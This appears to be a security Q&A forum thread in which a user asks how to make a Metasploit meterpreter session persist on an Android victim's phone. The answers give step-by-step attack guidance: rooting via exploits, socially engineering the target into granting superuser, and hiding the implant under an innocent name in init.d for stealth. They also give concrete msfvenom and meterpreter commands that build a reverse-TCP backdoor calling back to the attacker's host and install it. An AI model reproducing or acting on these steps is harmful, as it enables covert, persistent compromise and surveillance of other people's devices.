1

In kali linux 2.0, when I run exploit in msfconsole and the victim opens my payload, how can I force the session to be persistent?

| improve this question | | | | |
2

For Android platforms, when using the metasploit-framework project, you will need to utilize meterpreter as an APK installation in order to establish persistence.

The androidpayload is available here -- https://github.com/rapid7/metasploit-payloads/tree/master/java

A more-detailed post explaining all of the dependencies can be found here -- https://blog.ask-a.ninja/?p=39

| improve this answer | | | | |
  • 3
    This is not enoguh. The APK will simply install the the stager's component on the victim's phone (which is basically the meterpreter Android Java payload) and launch the stager upon installation, but after reboot, the application won't launch; this is not persistent. To create actual persistence, you'll need a root exploit (there are tens to try from) and you'll need to add am start of the stager's MainActivity to /etc/init.d/. Even better, if you have Busybox you can use crond, or if you know some Java you can modify the Metasploit package to use AlarmManager to run ever 15 minutes. – Adi Mar 21 '16 at 19:12
  • @ Adi : Great insight, here is an article to perform those actions -- null-byte.wonderhowto.com/how-to/… – atdre Mar 21 '16 at 20:37
  • 2
    Now that I think about it, if you have root access, then it's actually not that good to keep using the Meterpreter APK as it can be spotted in the installed apps. Instead, compile an ARM ELF Meterpreter, copy it to some innocent directory, and symlink it in init.d (or name it innocently and copy it to init.d without symlinking). As an added bonus, it won't appear in the Android running apps menu. It's far more stealthy. – Adi Mar 21 '16 at 20:54
  • 1
    Or just put meterpreter in an APK that is already loaded during startup -- techkernel.wordpress.com/2015/12/19/… – atdre Mar 21 '16 at 23:01
0

In part a summary of what already has been said:

1) Check if the target has rooted his phone. If he has, use social engineering to request superuser privileges via a prompt with

Runtime.getRuntime().exec("su");

And use the root process to perform step 5 and 6

2) Otherwise find an exploit, for example go here and scroll down to android.

2.5) Hope the target ignores the "New software available!" prompt often

3) Elevate the privileges of you session to root. If you can't, no luck. Hope he charges his phone well.

4) Make an ELF binary that will run at boot

msfvenom -p android/meterpreter/reverse_tcp -f elf LHOST= 192.168.43.107 LPORT=4444 R > /root/backdoor.elf

5) Copy it to the remote location with a normal name (mountsd)

meterpreter> upload backdoor.elf /system/etc/init.d/92mountsd.elf

6) Execute it (or wait for reboot)

meterpreter> execute /system/etc/init.d/92mountsd.elf
| improve this answer | | | | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.